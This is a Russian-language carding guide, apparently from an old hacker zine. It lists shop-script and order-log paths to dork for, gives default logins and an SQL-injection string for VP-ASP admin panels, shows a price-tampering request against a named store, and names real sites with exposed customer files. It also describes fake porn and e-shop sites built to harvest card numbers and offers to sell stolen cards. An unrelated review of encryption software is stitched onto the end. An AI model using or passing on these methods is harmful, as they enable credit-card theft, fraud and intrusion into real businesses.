/cgi-local/cart.pl
/htbin/cart.pl
/cgibin/cart.pl
/scripts/cart.pl
/cgi-win/cart.pl
/cgis/cart.pl
/bin/cart.pl
/cgi/cart.pl
/cgi-bin/cart.pl
/cgi-sys/cart.pl
/cgi-local/cart.pl
/htbin/cart.pl
/cgibin/cart.pl
/cgis/cart.pl
/scripts/cart.pl
/cgi-win/cart.pl
/bin/cart32.exe
/cgi/cart32.exe
/cgi-bin/cart32.exe
/cgi-sys/cart32.exe
/cgi-local/cart32.exe
/htbin/cart32.exe
/cgibin/cart32.exe
/cgis/cart32.exe
/scripts/cart32.exe
/cgi-win/cart32.exe
/cgi-bin/www-sql;;;
/server%20logfile;;;
/cgi-bin/pdg_cart/order.log
/cgi-bin/shopper.exe?search
/orders/order.log
/orders/import.txt
/orders/checks.txt
/orders/orders.txt
/Orders/order.log
/order/order.log
/WebShop/logs/ck.log
/WebShop/logs/cc.txt
/WebShop/templates/cc.txt
/_private/orders.txt
В директориях подобного рода содержатся файлы типа:
orders.txt
order.txt
import.txt
checks.txt
order_log
order.log
orders.log
orders_log
log_order
log_orders
temp_order
temp_orders
order_temp
orders_temp
quikstore.cfg
quikstore.cgi
order_log_v12.dat
also order_log.dat
web_store.cgi
storemgr.pw
admin.pw
cc.txt
ck.log
shopper.conf
Так же нужно смотреть *.cfg, *.pw и *.olf файлы
Хех…вроде бы и всё, что нужно знать. Ложишь пальцы на клаву и нервно стучишь в поисковую строку нечто на подобие “Index of /orders.log” и жмёшь ENTER. Что дальше?! А дальше вам стоит просто терпение и перебор нужных ссылок…а потом проверка полученых кредиток. Вот так вот плохие люди имеют ваши креды.Способ 2. Делаем порносайт ! Да-да именно порносайт. Идея в чем ? Много раз ты видел в сети кучу сайтов, которые предоставляют тебе доступ в каталог с порнушкой после того как ты заплатишь N-ую сумму по кредитке. Тебе влом делать такую пагу? Но ради сотен кредиток тебе стоит этим заняться, тем более что пага будет левая, те не надо заливать туды тысячи картинок. Делаем крутую начальную страницу, желательно на флеше и без фреймов(так юзеры любят), и страницу для бесплатного доступа(free trial), залив туда штук десяток крутейших качественных фоток, которые не нужно брать с таких известных и крупных сайтов как http://www.sex.com/, http://www.porno.com/. потом заделываем регистрацию для получения от ламеров/юзеров номеров их кредиток и инфы, которая необходима для того чтобы эти бабки с креды слить. Всосал фишку? И делов то на 2 часа ! При этом слезно обещаешь юзверю, что пароль для доступа ты пришлешь через 2 часа, и вот тебе еще и мыло, которое ты можешь продать в большом количестве. Двойная выгода. Ясен перец, что пароль ты не пришлешь, но зато пришлешь уведомление о том, что сайт временно не работает! И запомни фишку, не загибай цен, а креды проверяй для того чтобы знать, что юзер довольно половозрелое существо (то бишь совершеннолетний), так многие делают! Надеюсь ты все уяснил? И запомни: НЕ ЖАДНИЧАЙ !
Способ 3. С помощью 2 способа ты получишь минимум кред. Порносайт плох тем, что вряд ли вам удастся создать что-то такое, на что народ бы валом попёр, т.к. то, что можно было придумать новаторское в этой области, давно придумано, да и народу, который на порносайты за деньги валит, сравнительно немного…и ламерков (юзеров, программеров, хакеров, системных администраторов – подчеркнуть нужное), которые пытаются денег нагрести, полно, а после публикации в “Хакере” количество оных, я думаю, увеличится ещё раз в 5-10 раз.
Чтобы выделиться на общем фоне, надо прибегать к-чёрт-знает-каким-напрягам, да и вообще подумай: надо ли тебе это?
Есть идея получше: открыть свой е-магазин , без всяких шуток.
Итак, фишка заключается в том, что можно предложить народу любые продукты (только не варенье и не тампаксы ), по ценам ниже рыночных . Как это сделать? Да очень просто: мы только предлагаем, но ничего не продаём. Давайте приведу пример: создаём сайт по продаже супер-пупер-мега-дрюпер-компов по цене в 400 вечнозеленых ну (ест-но, покупка по кредам), после некой рекламы про супер-низкие цены к нам приходит человек, и, видя данную картину, естественно желает прикупить парочку данных компов. Далее, он покупает их по креде, которая и приходит к нам на е-маил, а через дня два ему посылается письмецо с содержанием: Компания супермега компы Inc. крупно извиняется, но не может выполнить данную услугу в данный момент, или что-то в этом духе… И вот у вас креда в руках, творите что хотите, но особенно не зарывайтесь.
Так же можно продавать буржуям продукты питания, так как там, где солнце светит наглой мордой, покупки через интернет делают в основном домохозяйки.
Способ 4.
MetaCart2.sql – система покупок, основанная на ASP + MS SQL. Обнаруженная уязвимость в программе позволяет атакующему получить доступ к базе данных, в которой хранятся чувствительные данные (номера кредитных карточек, адреса, E-mail и т.п). Пример: http://xxxshop/database/metacart.mdb, http://xxxshop/database/metacart.mdb, http://xxxshop/metacart/database/metacart.mdb, http://xxxshop/metacart/database/metacart.mdb. Уязвимость обнаружена в MetaLinks MetaCart2.sql Если хотя бы немного разбираешься в хакинге, ты припоминаешь такую фишку Cart32. Эта фигня стояла на многих онлайн – магазинах. Cart32 очень дырявый, можно было просматривать базы данных с кредитными карточками. Увы, админы все дырки позакрывали. Я тут недавно пытался через Cart32 надыбать кред, я запарился искать дырявый сервак, но так и не нашел.
Сейчас существует почти аналог Cart32, так назваемый VP-ASP. Он, как ни странно тоже дырявый. Все ниженаписанные действия проводи через анонимный прокси. Так что лезь на Альтависту и пиши shopadmin.asp. Выбирай любой сайт, который тебе предложит ввести пароль и логин. По дефолту пароль с логином: admin/admin, vpasp/vpasp или ‘or”=’. Если тебя пропустили, ты можешь смотреть/удалять/изменять разную инфу: списки товаров, категории товаров и………инфу о кредах. Вот они долгожданные. Но бывает, что админ не полный ламак и изменяет пароль. Тогда ты увидишь розовую птицу обломинго.
Но не все потеряно. Опять же по дефолту база данных о юзерах в незашифровонном виде находится в файле shopping300.mdb/shopping400.mdb, но
опять но…. Админ мог изменить имя файла. К нам на помощь приходит файл
shopdbtest.asp, который доступен всем, и он раскрывает месторасположение
базы данных внутри значения xDatabase. Копируешь имя файла и добавляешь
расширение .mdb, так как имя файла прописано без расширения. Только ты
поторопись, похоже админы очнулись, начинают дырку закрывать, гады.
Если у тебя все получилось, считай себя начинающим кардером. Ты имеешь базу дынных кредиток, только ты ими особо не злоупотребляй, лучше продай их кому-нибудь. Но если у тебя ничего не вышло, а тебе нужны креды, как туалетная бумага, пиши мне, я тебе всегда продам немного кред за определенную плату. Уж у меня-то свеженькие номера кредиток имеются. Я в инете видел пару сайтов, где размещают ворованные креды, поищи их.
Способ 5. В больших супермаркетах принимают к оплате кредитные карты. После того, как покупатель прошел через кассу у него на руках остается чек и “Слип”. Так вот многие люди просто выкидывают его в урну. Стоит поошиваться около мусорки и у тебя на руках остается почти настоящая кредитка. Кстати подходят только карточки Visa, MasterCard и AmericanExpress(aka Amex). (это обычно пишется на слипе.)
Способ 6. Попросить у друга-официанта незаметно переписать номер кредитки и дать/продать тебе.
Способ 7. Взломать какой-нибудь web-shop и скоприовать файл или лог с кредиками. Способ имеет большой недостаток. Необходимо быть крутым хакером, а этим наделены немногие.
Разбираем дальше уязвимости систем электронной коммерции. Начнем со сладкого, а именно с сс. Незадачливым администраторам интернет-магазинов уже давно следовало бы понять, что файлам, хранящим критическую информацию (пароли, номера кредитных карт, и т.д.), совсем не место в открытых для всеобщего просмотра веб-директориях, даже если об этих файлах никто, кроме самого админа не знает. Примером такого головотяпства, является —www.swimmingcoach.org , администратор которого хранит данные о кредитных карточках своих клиентов в текстовых файлах директории /_private/, будучи уверенным в том, что о их существовании знает только он один. Так бы и было, если бы не всеми любимый Microsoft, со своим
величайшим творением всех времен и народов – FrontPage, который сыграл в этом случае злую шутку. Ее смысл в том, что в некоторых файлах FrontPage хранит информацию о всех файлах веб-сервера и, что самое главное, файлах, в которые выводятся и сохраняются результаты обработки данных. О дним из таких файлов является writeto.cnf, расположенный как правило в — http://www.xxx.org/_vti_pvt/writeto.cnf.
Вот какую информацию предоставляет скачанный writeto.cnf с сервера
www.swimmingcoach.org (именно скачанный, в браузере ты его не откроешь):
—–
_private/sic7result.txt: collegesTiJimming/sicS.htm fpdb:global.asa
collegesTiJimming/sicS.asp salary.asp
_private/Jobsvc_net.txt:jobservice/job_net_questions.htm
_private/audio_sales.txt:worldclinic/ASCA99/asca99_audio.htm
_private/survey.txt:jobservice/salary.htm _private/Mc2000_registration. txt:
Tijorldclinic/asca2000/asca2000_packets . htm
_private/form_results.txt:jobservice/02salary.htm
_private/article_results.txt:ALTST/past_articles/altst_4.htm ALTST/past_artide;
pbsurvey.txt:water_depth_rule_questionnaire.asp
_private/cert_up.txt:forms/certupgrade.htm
_private/Mcreg2002_results.txt:worldclinic/ASCA2002/registration2.htm worldclin:
_private/emembers.txt:articles/9903/9903-4.htm articles/9903/9903-5.htm
article;j _private/jobsvc_net.txt:jobservice/job_net_questions.htm
_private/certificaion_orders.txt:ASCA_Catalog/certification_0rder.htm
_private/ameridome_leads.txt:ameridome/ordering.htm
_private/feedbackl.txt:forms/feedback.htm
_private/bkcatalog.txt:ASCA_Catalog/catalog.htm ASCA_Catalog/images/catalog.htm
_private/wc2000_Registration.txt: worldclinic/ ASCA2000/asca2000_packets.htm
_private/sicSresult.txt:sicS/default.htm
_private/sescc_reg.txt:forms/STiJscc_reg.htm
_private/chevron.txt:forms/chevform.htm
_private/sicord.txt:ASCA_Catalog/sicord.htm
_private/samonth.txt:forms/samonth.htm
_private/altst_jоin.txt:ALTST/ALTST_Join.htm learning_center:global.asa
SurvivalKIT:survivalkit.asp
—–
Как ты видишь, результаты выводятся в текстовые файлы emembers.txt, survey.txt,
sicSresult.txt лежащие в директории /_private/. Остается всего лишь открыть их в
браузере и сохранить те, в которых лежат кредитки.
Кроме этого, ту же информацию можно получить и из другого файла на этом сервере
author.log, расположенного в директории /_vti_log/. Он большой, так что придется
запастись терпением.
Следующим сайтом который подвергнется нашему разбору, будет www.maledicta.com.
В одной из прошлых статей мы говорили о манипуляции ценой в торговых тележках.
www.maledicta.com дает нам еще один пример такого действия. Скрипт тележки
quikstore.cgi (в прошлом – бажный) в данном случае обрабатывает запросы методом
POST, так что для изменения цены товара придется воспользоваться утилитой
Achilles, скачать которую ты можешь с нашего сайта – lwb57.webmen.ru.
С ее помощью ты увидишь строку запроса вот такого вида:
—–
item-BEQUGODU%7C14.95%7CEquinox+of+the+Gods%7CNA%7CNA=1&store_type=html&page=c[+]
[+]rowley.html&add_to_cart.x=45&add_to_cart.y=14
—–
Конечно, если выберешь книгу Алистера Кроули (Сrowley), на мой взгляд,
единственного мистика, достойного прочтения.
Как ты, наверное, уже успел заметить, что цена товара передается в строке запроса
“14.95″, с помощью Achilles ты можешь теперь ее изменить и передать серверу.
А можешь просто передать запрос в строке браузера.
Так выглядит изначальный запрос:
—
http://www.maledicta.com/cgi-bin/quikstore…14.95%7CEquinox[+]
[+]+of+the+Gods%7CNA%7CNA=1&store_type=html&page=crowley.html&add_to_cart.x=45[+]
[+]&add_to_cart.y=14
—
А так модифицированный:
—
http://www.maledicta.com/cgi-bin/quikstore…0.95%7CEquinox+[+]
[+]of+the+Gods%7CNA%7CNA=1&store_type=html&page=crowley.html&add_to_cart.x=45&[+]
[+]add_to_cart.y=14
—
Приятных чтений на ночь;-).
Eat The Rich!
Copyright 2002-2004 by LwB Security Team. All rights reserved.
З,Ы, из первого шопа до сегодня можно креды дергать, привда без cvv2
конецформыначалоформыПрограмма применяет стойкие и проверенные временем алгоритмы шифрования, способна архивировать файлы, и полностью их уничтожать – файлы удаляются, и их место на диске многократно перезаписывается по специальному алгоритму, чтобы исключить возможность восстановления данных. В общем то направлена DigiSecret именно на создание закодированных архивов и передача этих архивов между пользователями. Интерфейс программы, по сути, напоминает различные архиваторы: для создания архива нужно перетащить нужные файлы в основное окно программы и, выбрав соответствующий пункт меню, создать закодированный архив. Производитель утверждает, что используемый в DigiSecret механизм компрессии чрезвычайно эффективен, однако на практике оказывается, что даже встроенный в Windows XP механизм компрессии ZIP справляется с этой задачей лучше. Впрочем, не это главная задача программы, и ее уровень достаточен для среднего пользователя. При создании архива можно выбрать одну из девяти степеней сжатия в соответствии с желаемой скоростью архивации, или отключить компрессию совсем, и тогда программа просто зашифрует содержимое файлов. DigiSecret умеет создавать и SFX архивы, что наверняка пригодится в тех случаях, когда возникает необходимость передать информацию человеку, не имеющему своей копии этой программы. В созданном архиве сохраняется структура папок, хотя в основном окне программы все файлы «свалены в кучу».
Программа предлагает на выбор несколько алгоритмов кодирования — CAST (128-битный ключ), Blowfish (448-битный ключ), Twofish (256-битный ключ) и Rijndael (также известен как AES, 256-битный ключ). На вопрос о лучшем выборе алгоритма сама компания однозначно ответить не может: по мнению авторов программы, все предложенные варианты хороши. Алгоритм CAST-128 устойчив к линейному и дифференциальному криптоанализу, и может быть взломан только методом полного перебора. Twofish и Blowfish являются устойчивыми и быстрыми шифрами, об уязвимости которых ничего не известно. Rijndael является победителем конкурса на AES (Advanced Encryption Standard) и в 2000 году стал стандартом в США. Если предположить, что эти алгоритмы могут быть взломаны только методом полного перебора, то ключи длиной 128 бит смогут противостоять атакам в течение многих десятилетий, а ключи длиной 448 бит исключают даже теоретическую возможность атаки. Одним словом, компания оставляет выбор наиболее понравившегося варианта за пользователем. Программа не использует мастер-ключ, расшифровка возможна только ключом, использованным при шифровании. Следует отметить, что размер создаваемого архивного файла остается неизменным независимо от выбранного алгоритма кодирования.
DigiSecret предлагает пользователям на выбор два варианта безопасной передачи информации: другим пользователям DigiSecret с помощью встроенных в программу средств или по электронной почте в виде кодированного файла. Для передачи файлов средствами программы необходимо поместить нужные объекты в основное окно и выбрать в меню «Команды» пункт «Отправить через DigiSecret». Открывшееся после этого окно настроек передачи позволяет выбрать нужного адресата, указав его IP-адрес, а также алгоритм кодирования и пароль. Для удобства выбора часто используемых адресатов в программе предусмотрена простая адресная книга.
При использовании для передачи информации электронной почты программа создает кодированный архив (предлагая предварительно выбрать его настройки) и открывает почтовый клиент с новым письмом и вложенным в него архивом. Пользователю остается только выбрать нужного адресата и при необходимости дописать сообщение. Кстати, о сообщениях. Программа имеет встроенный Центр кодирования сообщений, позволяющий зашифровать текстовое сообщение с помощью одного из алгоритмов и передать его по электронной почте. Для его расшифровки адресат, разумеется, должен знать пароль.
Возможности программы конечно хороши: она позволяет использовать алгоритмы шифрования AES, Blowfish,CAST5,Serpent, 3DES, Twofish и каскадированое кодирование AES-Twofish, AES-Twofish-Serpent, Serpent-AES, Serpent-Twofish-AES, Twofish-Serpent. Для хеширования используется алгоритмы Whirlpool,SHA-1,RIPEMD-160. Имеется возможность использования стеганографического кодирования – скрытых шифрованных дисков, а так же формирование шифрованных разделов устройств – дисковых разделов или флэш карт. Алгоритм установки и настройки как всегда аскетичен и мудр как Дхарма монах – при запуске программы вызывается мастер, который помогает вам создать Ключника, его тип – простой или скрытый, в любом случае вы можете указать размер, метод шифрования и хеширования. В качестве паролей можно устанавливать как простой пароль, так и ключевой фай, при чем этот файл может быть сгенерирован программой. Очень привлекает режим шифрования разделов диска – здесь работа производится без первоначальной прослойки файловой системы, что ускоряет доступ к данным.
Присоединение зашифрованного тома выполняется легко. В зависимости от того, что используется в качестве засекреченного тома, файл-контейнер или раздел жесткого диска (флэшка и т.д.), жмем на кнопку Select File или Select Device. При монтировании тома можно указать параметры подключения (только для чтения, как media-устройство для предотвращения создания Windows на томе папок Recycle Bin и System Volume Information), отключения (время простаивания, реакции на различные события) и др.
На первый взгляд программа не отличается от себе подобных. Ну разве что списком поддерживаемых операционок: UNIX (OSF/1, LINUX, BSD, SunOS, HP/UX, AIX и т.д.), Novell, Windows 3.хх/9х/NT/2000/XP и т.д. Да вот зашифрованная информация храниться в файлах-контейнерах, которые можно копировать, перемещать в другую директорию, на другой компьютер или диск. Имеется функция настройки автоматического закрытия контейнера – все виртуальные диски автоматически закрываются либо по истечению времени, если нет пользовательской активности, либо по нажатию специальной комбинации «горячих» клавиш на клавиатуре. Центр управления BestCrypt позволяет группировать контейнеры в соответствии с требованиями пользователей. Порядок группировки контейнеров индивидуален для каждого пользователя. Это добавляет еще один уровень безопасности в ситуациях, когда компьютеры одновременно используются несколькими пользователями, которым требуется работа со своими собственными контейнерами. Мы можем назначать контейнеру дополнительный пароль, который вправе использовать, чтобы дать другому пользователю временный доступ к своей информации. Это необходимо для того, чтобы потом не менять основной пароль контейнера – достаточно запретить дополнительный пароль. Функция защиты контейнеров Container Guard Utility предотвращает случайное либо неавторизованное удаление файлов контейнеров – требует ввода пароля контейнера.
Надежное удаление информации обеспечивается утилитой BCWipe Utility. Ее использование служит гарантией от неавторизованного восстановления удаленной информации с обычных дисков. Эта утилита позволяет как удаление конкретного файла, так и надежную чистку всего свободного места на указанном диске. Утилита Swap File Encryption Utility позволяет криптографически защищать файл подкачки Windows. Swap File Encryption позволяет шифровать содержимое файла подкачки и предотвратить возможную атаку злоумышленника. Пользователь может создать другой, скрытый контейнер внутри уже существующего контейнера-оболочки. Контейнер-оболочка и скрытый контейнер защищаются разными паролями и невозможно определить, есть ли в контейнере скрытая часть. В зависимости от введенного пароля откроется либо основной, либо скрытый контейнер. Контейнер можно спрятать, замаскировав под видео, аудио файл или рисунок простой сменой расширения файла (с jbc на avi, mp3 или jpg). В контейнерах может храниться как достаточно статичная информация – документы, архивы, так и динамическая – базы данных (в т.ч. семейства программ 1С, банковских программ и т.д.).